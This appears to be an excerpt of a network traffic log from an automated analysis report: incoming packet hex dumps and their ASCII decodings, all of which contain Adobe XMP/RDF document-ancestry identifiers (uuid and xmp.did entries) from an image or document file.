2022-07-20 17:09:01 UTC	5827	IN	Data Raw: 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 45 42 41 42 44 35 38 32 32 33 31 45 30 31 31 39 37 36 38 44 45 32 46 35 32 31 31 32 46 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 33 41 43 41 44 43 35 42 42 35 44 44 31 31 42 34 44 37 46 35 43 33 45 32 32 33 43 37 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 34 42 38 31 42 45 31 37 35 45 44 44 31 31 42 42 37 34 46 45 35 42 35 30 31 46 42 45 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 35 42 39 30 38 46 43 45 44 41 44 46 31 31 42 45 43 36 41 33 42 46 38 44 36 39 34 34 35 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 33 46 37 38 36 31 36 30 39 43 43 Data Ascii: 3</rdf:li> <rdf:li>uuid:3EBABD582231E0119768DE2F52112F6B</rdf:li> <rdf:li>uuid:3F3ACADC5BB5DD11B4D7F5C3E223C7EA</rdf:li> <rdf:li>uuid:3F4B81BE175EDD11BB74FE5B501FBEC4</rdf:li> <rdf:li>uuid:3F5B908FCEDADF11BEC6A3BF8D694452</rdf:li> <rdf:li>uuid:3F7861609CC
2022-07-20 17:09:01 UTC	5835	IN	Data Raw: 75 69 64 3a 35 37 39 35 33 31 35 31 33 31 30 43 44 46 31 31 38 44 41 43 39 41 32 43 39 44 35 38 44 41 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 41 32 32 36 34 31 32 44 45 41 45 30 31 31 38 43 43 46 38 46 41 35 36 46 46 38 44 36 41 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 37 44 42 44 38 34 45 43 31 36 32 45 30 31 31 38 43 31 36 44 31 42 39 37 41 32 35 36 35 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 30 35 35 46 43 42 39 37 41 35 31 31 44 44 41 37 45 32 39 43 30 46 33 36 32 37 30 46 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 35 38 32 45 41 44 42 44 42 35 30 39 45 34 31 31 38 33 36 33 44 36 35 31 41 32 33 34 34 38 38 Data Ascii: uid:57953151310CDF118DAC9A2C9D58DA96</rdf:li> <rdf:li>uuid:57A226412DEAE0118CCF8FA56FF8D6A6</rdf:li> <rdf:li>uuid:57DBD84EC162E0118C16D1B97A256573</rdf:li> <rdf:li>uuid:58055FCB97A511DDA7E29C0F36270FFB</rdf:li> <rdf:li>uuid:582EADBDB509E4118363D651A234488
2022-07-20 17:09:01 UTC	5851	IN	Data Raw: 34 33 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 38 44 36 38 46 34 36 43 30 46 31 31 44 43 39 36 36 39 41 30 41 34 43 39 39 33 46 30 46 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 43 46 36 30 32 43 45 34 39 30 44 44 31 31 41 43 37 38 38 34 33 39 34 33 31 43 31 35 34 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 41 44 44 30 39 38 43 41 41 39 45 44 43 31 31 41 30 34 33 39 38 30 35 30 30 37 36 46 43 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 34 30 46 30 46 36 39 33 31 31 31 44 44 41 35 46 42 46 34 45 33 37 39 46 41 34 33 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 38 42 31 36 43 42 33 44 Data Ascii: 4392</rdf:li> <rdf:li>uuid:8A8D68F46C0F11DC9669A0A4C993F0F6</rdf:li> <rdf:li>uuid:8ACF602CE490DD11AC788439431C1542</rdf:li> <rdf:li>uuid:8ADD098CAA9EDC11A04398050076FC83</rdf:li> <rdf:li>uuid:8B140F0F693111DDA5FBF4E379FA43DB</rdf:li> <rdf:li>uuid:8B16CB3D
2022-07-20 17:09:01 UTC	5867	IN	Data Raw: 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 39 38 34 37 33 35 33 35 34 36 44 45 31 31 38 45 30 35 45 30 30 41 39 32 34 44 38 43 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 41 33 42 31 45 31 38 42 41 32 44 45 31 31 42 45 44 37 43 35 37 44 45 34 38 36 46 45 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 44 44 35 36 35 38 44 41 39 41 41 31 31 45 31 42 31 45 38 39 45 31 46 30 42 30 38 42 44 37 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 30 32 46 31 43 42 34 35 32 33 45 31 31 31 42 30 44 46 42 38 36 34 37 30 37 30 35 30 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 42 45 36 30 36 36 39 38 43 31 45 44 31 31 44 42 41 31 31 39 41 43 36 Data Ascii: rdf:li>uuid:BD9847353546DE118E05E00A924D8CC5</rdf:li> <rdf:li>uuid:BDA3B1E18BA2DE11BED7C57DE486FE49</rdf:li> <rdf:li>uuid:BDD5658DA9AA11E1B1E89E1F0B08BD72</rdf:li> <rdf:li>uuid:BE02F1CB4523E111B0DFB86470705002</rdf:li> <rdf:li>uuid:BE606698C1ED11DBA119AC6
2022-07-20 17:09:01 UTC	5874	IN	Data Raw: 32 42 45 43 45 32 39 37 34 44 31 39 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 31 38 36 44 45 41 38 37 36 36 45 30 31 31 42 41 45 45 38 32 33 30 33 31 31 36 46 44 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 36 38 44 38 36 39 35 39 31 42 44 44 31 31 39 39 34 37 45 30 33 43 35 32 42 45 46 31 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 39 38 30 41 32 31 35 41 45 36 44 45 31 31 39 30 41 45 42 41 46 36 33 33 32 46 43 36 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 3a 44 45 41 31 39 30 31 30 42 36 42 37 44 45 31 31 38 46 39 32 43 37 39 33 33 36 38 43 42 33 35 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 75 75 69 64 Data Ascii: 2BECE2974D198</rdf:li> <rdf:li>uuid:DE186DEA8766E011BAEE82303116FD2D</rdf:li> <rdf:li>uuid:DE68D869591BDD119947E03C52BEF1B0</rdf:li> <rdf:li>uuid:DE980A215AE6DE1190AEBAF6332FC6C0</rdf:li> <rdf:li>uuid:DEA19010B6B7DE118F92C793368CB351</rdf:li> <rdf:li>uuid
2022-07-20 17:09:01 UTC	5890	IN	Data Raw: 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 31 38 39 45 34 39 46 39 44 45 33 30 39 30 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 38 39 35 36 43 30 45 44 32 32 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 35 39 33 46 44 31 30 36 39 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 31 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 32 42 30 39 36 43 30 45 43 39 44 36 46 43 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: 4</rdf:li> <rdf:li>xmp.did:01801174072068119189E49F9DE3090B</rdf:li> <rdf:li>xmp.did:018011740720681192B08956C0ED2270</rdf:li> <rdf:li>xmp.did:018011740720681192B09593FD106902</rdf:li> <rdf:li>xmp.did:018011740720681192B096C0EC9D6FC5</rdf:li> <rdf:li>xmp.
2022-07-20 17:09:01 UTC	5906	IN	Data Raw: 37 36 32 34 44 32 31 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 44 42 42 45 39 34 44 43 32 38 32 32 46 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 45 46 31 41 36 45 33 36 41 42 44 46 39 30 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 39 46 31 42 36 39 31 35 33 38 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 34 38 30 31 31 37 34 30 37 32 30 36 38 31 31 38 46 36 32 45 45 36 34 43 45 43 33 33 43 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 Data Ascii: 7624D21CA</rdf:li> <rdf:li>xmp.did:04801174072068118DBBE94DC2822FDB</rdf:li> <rdf:li>xmp.did:04801174072068118EF1A6E36ABDF900</rdf:li> <rdf:li>xmp.did:04801174072068118F629F1B691538C0</rdf:li> <rdf:li>xmp.did:04801174072068118F62EE64CEC33CEF</rdf:li> <rdf
2022-07-20 17:09:01 UTC	5914	IN	Data Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 37 41 35 38 33 37 39 41 31 45 33 42 34 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 39 34 43 42 37 36 46 36 43 34 30 32 44 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 39 45 43 36 44 39 38 46 43 42 42 33 41 34 39 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 31 31 37 34 30 37 32 30 36 38 31 31 41 37 33 32 45 42 36 31 30 43 38 35 44 37 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 36 38 30 Data Ascii: i> <rdf:li>xmp.did:068011740720681197A58379A1E3B414</rdf:li> <rdf:li>xmp.did:0680117407206811994CB76F6C402DAA</rdf:li> <rdf:li>xmp.did:06801174072068119EC6D98FCBB3A492</rdf:li> <rdf:li>xmp.did:0680117407206811A732EB610C85D7A5</rdf:li> <rdf:li>xmp.did:0680
2022-07-20 17:09:01 UTC	5930	IN	Data Raw: 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 35 35 66 62 39 34 2d 37 34 64 38 2d 31 63 34 63 2d 61 38 36 39 2d 61 65 39 31 34 36 64 32 35 31 66 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 31 64 36 61 2d 62 34 61 31 2d 34 39 36 36 2d 39 62 37 31 2d 30 66 37 31 33 66 63 38 36 39 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 38 33 35 35 65 34 2d 66 33 31 37 2d 36 34 34 63 2d 61 39 35 33 2d 36 64 64 65 64 65 64 62 35 38 66 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 30 65 65 61 37 35 38 34 2d 65 61 65 61 2d 66 31 34 63 2d 39 30 39 31 2d 61 30 38 39 62 39 30 31 33 31 31 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: > <rdf:li>xmp.did:0e55fb94-74d8-1c4c-a869-ae9146d251f5</rdf:li> <rdf:li>xmp.did:0e831d6a-b4a1-4966-9b71-0f713fc86995</rdf:li> <rdf:li>xmp.did:0e8355e4-f317-644c-a953-6ddededb58f6</rdf:li> <rdf:li>xmp.did:0eea7584-eaea-f14c-9091-a089b901311e</rdf:li> <rdf:
2022-07-20 17:09:01 UTC	5946	IN	Data Raw: 61 2d 34 33 30 35 2d 38 37 30 65 2d 36 38 34 65 34 39 65 37 64 34 35 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 39 38 30 33 33 2d 36 38 36 39 2d 34 31 63 65 2d 39 30 31 37 2d 39 62 66 63 37 36 39 62 64 37 35 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 37 41 43 44 38 43 30 37 32 30 36 38 31 31 38 32 32 41 41 37 41 33 31 39 31 35 30 39 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 38 45 35 34 38 33 42 36 39 31 45 34 31 31 41 41 34 32 45 43 44 44 33 35 42 44 43 44 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 30 39 66 66 35 30 31 2d 39 33 39 30 2d 38 65 34 63 2d 39 35 61 39 2d 37 64 30 Data Ascii: a-4305-870e-684e49e7d45a</rdf:li> <rdf:li>xmp.did:20798033-6869-41ce-9017-9bfc769bd75d</rdf:li> <rdf:li>xmp.did:207ACD8C07206811822AA7A319150968</rdf:li> <rdf:li>xmp.did:208E5483B691E411AA42ECDD35BDCD6B</rdf:li> <rdf:li>xmp.did:209ff501-9390-8e4c-95a9-7d0
2022-07-20 17:09:01 UTC	5954	IN	Data Raw: 43 45 31 46 43 43 37 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 41 37 46 41 34 34 37 46 41 43 31 31 45 31 39 35 35 45 42 31 31 39 35 33 39 35 31 32 32 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 42 30 43 35 44 41 46 31 32 30 36 38 31 31 42 44 34 43 46 34 46 39 43 30 31 45 39 38 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 44 45 33 30 41 34 37 44 36 41 31 31 45 30 42 31 42 46 45 43 36 30 38 36 37 33 39 36 42 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 32 37 46 32 44 42 36 30 32 39 32 30 36 38 31 31 41 36 31 33 46 36 33 37 39 42 39 42 32 30 43 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a Data Ascii: CE1FCC73</rdf:li> <rdf:li>xmp.did:27A7FA447FAC11E1955EB11953951227</rdf:li> <rdf:li>xmp.did:27B0C5DAF1206811BD4CF4F9C01E982A</rdf:li> <rdf:li>xmp.did:27DE30A47D6A11E0B1BFEC60867396BF</rdf:li> <rdf:li>xmp.did:27F2DB6029206811A613F6379B9B20C2</rdf:li> <rdf:
2022-07-20 17:09:01 UTC	5970	IN	Data Raw: 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 46 39 42 38 46 35 33 37 32 36 36 38 31 31 38 32 32 41 46 44 38 45 36 43 42 44 39 38 43 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 35 64 66 30 39 62 62 2d 34 64 37 37 2d 34 32 37 30 2d 39 37 35 64 2d 63 39 38 39 37 32 64 36 66 31 38 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 30 32 34 38 35 39 31 45 32 30 36 38 31 31 38 46 36 32 42 30 37 31 36 39 32 31 45 41 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 33 36 31 34 32 38 36 35 39 35 32 30 36 38 31 31 39 31 30 39 45 35 35 34 31 35 34 44 33 32 42 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 Data Ascii: li> <rdf:li>xmp.did:35F9B8F537266811822AFD8E6CBD98C8</rdf:li> <rdf:li>xmp.did:35df09bb-4d77-4270-975d-c98972d6f180</rdf:li> <rdf:li>xmp.did:360248591E2068118F62B0716921EAB0</rdf:li> <rdf:li>xmp.did:36142865952068119109E554154D32B1</rdf:li> <rdf:li>xmp.did
2022-07-20 17:09:01 UTC	5986	IN	Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 32 35 30 31 31 34 30 43 38 45 31 31 31 41 46 38 42 41 32 37 33 30 46 46 45 31 32 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 45 36 38 38 36 44 30 41 32 30 36 38 31 31 38 32 32 41 42 35 41 45 42 42 44 34 35 33 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 46 44 33 35 37 35 33 42 32 30 36 38 31 31 38 30 38 33 45 31 38 45 43 35 39 30 32 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 34 61 38 66 30 65 39 2d 66 36 38 33 2d 66 33 34 64 2d 39 61 39 39 2d 37 62 65 30 32 32 37 62 66 65 31 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e Data Ascii: df:li> <rdf:li>xmp.did:44E2501140C8E111AF8BA2730FFE128C</rdf:li> <rdf:li>xmp.did:44E6886D0A206811822AB5AEBBD45312</rdf:li> <rdf:li>xmp.did:44FD35753B2068118083E18EC590233A</rdf:li> <rdf:li>xmp.did:44a8f0e9-f683-f34d-9a99-7be0227bfe18</rdf:li> <rdf:li>xmp.
2022-07-20 17:09:01 UTC	5994	IN	Data Raw: 46 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 38 39 31 44 42 34 36 39 32 31 36 38 31 31 41 36 31 33 38 45 46 32 43 31 36 38 37 36 46 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 39 46 30 39 42 30 36 39 32 30 36 38 31 31 41 39 45 46 43 33 35 37 44 46 31 45 34 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 41 32 35 33 36 31 37 30 32 35 36 38 31 31 39 33 37 35 45 30 39 31 36 39 37 38 33 43 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 34 44 42 30 44 34 33 37 30 39 44 43 44 46 31 31 38 35 42 37 46 36 38 44 42 43 32 46 38 43 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d Data Ascii: F3B</rdf:li> <rdf:li>xmp.did:4D891DB469216811A6138EF2C16876FC</rdf:li> <rdf:li>xmp.did:4D9F09B069206811A9EFC357DF1E44DE</rdf:li> <rdf:li>xmp.did:4DA25361702568119375E09169783C56</rdf:li> <rdf:li>xmp.did:4DB0D43709DCDF1185B7F68DBC2F8CF4</rdf:li> <rdf:li>xm
2022-07-20 17:09:01 UTC	6010	IN	Data Raw: 38 31 31 39 37 41 35 39 44 42 37 33 36 46 35 33 35 46 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 34 33 32 36 30 44 31 39 32 30 36 38 31 31 38 44 42 42 42 33 34 38 37 44 46 34 37 33 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 35 45 46 43 34 34 46 36 32 30 36 38 31 31 38 30 38 33 41 33 39 39 39 45 39 46 34 39 33 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 31 44 43 36 30 31 34 32 30 36 38 31 31 38 37 31 46 45 44 30 33 43 31 42 30 36 30 46 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 44 37 36 31 32 44 44 43 38 31 45 45 32 31 31 42 43 33 39 44 42 39 41 41 33 39 42 46 37 42 30 3c 2f 72 64 Data Ascii: 81197A59DB736F535FE</rdf:li> <rdf:li>xmp.did:5D43260D192068118DBBB3487DF47355</rdf:li> <rdf:li>xmp.did:5D5EFC44F62068118083A3999E9F4936</rdf:li> <rdf:li>xmp.did:5D71DC6014206811871FED03C1B060F7</rdf:li> <rdf:li>xmp.did:5D7612DDC81EE211BC39DB9AA39BF7B0</rd
2022-07-20 17:09:01 UTC	6026	IN	Data Raw: 44 38 43 38 33 46 38 33 44 32 31 39 46 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 36 30 37 43 43 45 31 39 32 30 36 38 31 31 41 44 33 39 42 31 41 36 39 43 31 32 37 46 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 39 45 39 35 43 38 34 32 44 43 45 30 31 31 38 44 41 42 44 36 32 32 30 44 44 41 34 39 43 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 42 41 38 35 31 30 45 37 32 45 38 31 31 38 44 33 43 41 36 35 30 45 43 35 33 41 41 35 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 42 42 45 41 34 45 30 30 45 32 30 36 38 31 31 41 42 30 38 45 41 43 46 43 36 39 44 46 39 43 38 3c 2f 72 64 66 3a 6c 69 Data Ascii: D8C83F83D219F7B</rdf:li> <rdf:li>xmp.did:6B607CCE19206811AD39B1A69C127F67</rdf:li> <rdf:li>xmp.did:6B9E95C842DCE0118DABD6220DDA49C7</rdf:li> <rdf:li>xmp.did:6BBBA8510E72E8118D3CA650EC53AA58</rdf:li> <rdf:li>xmp.did:6BBEA4E00E206811AB08EACFC69DF9C8</rdf:li
2022-07-20 17:09:01 UTC	6034	IN	Data Raw: 46 31 34 45 33 31 31 41 31 31 41 44 42 30 41 44 34 46 30 31 44 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 32 41 36 34 41 38 30 37 32 30 36 38 31 31 38 43 31 34 42 38 37 30 37 44 35 37 30 41 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 43 41 31 31 34 38 32 32 30 36 38 31 31 38 43 31 34 38 30 34 34 46 35 33 41 30 46 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 33 62 35 34 30 61 2d 36 37 38 61 2d 34 32 34 37 2d 38 39 38 32 2d 31 36 36 61 61 39 63 36 34 38 34 65 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 32 34 31 30 38 31 46 30 41 32 30 36 38 31 31 38 41 36 44 43 36 33 38 46 39 46 43 Data Ascii: F14E311A11ADB0AD4F01DCF</rdf:li> <rdf:li>xmp.did:722A64A8072068118C14B8707D570A5C</rdf:li> <rdf:li>xmp.did:723CA114822068118C148044F53A0F87</rdf:li> <rdf:li>xmp.did:723b540a-678a-4247-8982-166aa9c6484e</rdf:li> <rdf:li>xmp.did:7241081F0A2068118A6DC638F9FC
2022-07-20 17:09:01 UTC	6050	IN	Data Raw: 44 32 37 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 31 41 31 37 32 41 32 45 32 30 36 38 31 31 38 33 36 37 43 31 36 37 32 41 37 32 37 31 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 32 39 63 30 30 39 2d 35 66 30 33 2d 34 34 66 31 2d 38 39 36 61 2d 30 62 35 39 32 63 33 66 64 30 61 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 33 64 31 36 33 64 2d 37 32 37 39 2d 34 36 61 65 2d 39 66 65 63 2d 35 34 32 63 36 32 30 63 33 36 62 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 32 35 42 37 35 37 42 45 45 43 37 45 33 31 31 42 36 44 35 43 44 30 46 33 37 37 34 39 41 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c Data Ascii: D27A</rdf:li> <rdf:li>xmp.did:821A172A2E2068118367C1672A727171</rdf:li> <rdf:li>xmp.did:8229c009-5f03-44f1-896a-0b592c3fd0a7</rdf:li> <rdf:li>xmp.did:823d163d-7279-46ae-9fec-542c620c36b6</rdf:li> <rdf:li>xmp.did:825B757BEEC7E311B6D5CD0F37749A43</rdf:li> <
2022-07-20 17:09:01 UTC	6066	IN	Data Raw: 2d 39 30 61 35 2d 35 30 30 64 38 31 63 37 34 37 37 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 35 32 35 38 61 32 2d 61 64 66 66 2d 34 31 61 65 2d 38 64 36 37 2d 32 37 61 32 33 36 63 64 39 36 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 38 30 61 36 63 65 2d 39 38 36 38 2d 63 62 34 34 2d 38 65 61 37 2d 37 31 35 39 30 35 66 35 37 38 36 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 38 38 64 62 62 2d 36 66 62 39 2d 64 39 34 36 2d 62 64 37 32 2d 36 30 33 65 61 65 61 38 61 66 36 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 65 61 39 30 66 39 33 2d 65 65 64 33 2d 61 32 34 63 2d 61 33 37 36 2d 35 Data Ascii: -90a5-500d81c7477f</rdf:li> <rdf:li>xmp.did:8e5258a2-adff-41ae-8d67-27a236cd9613</rdf:li> <rdf:li>xmp.did:8e80a6ce-9868-cb44-8ea7-715905f57865</rdf:li> <rdf:li>xmp.did:8ea88dbb-6fb9-d946-bd72-603eaea8af6c</rdf:li> <rdf:li>xmp.did:8ea90f93-eed3-a24c-a376-5
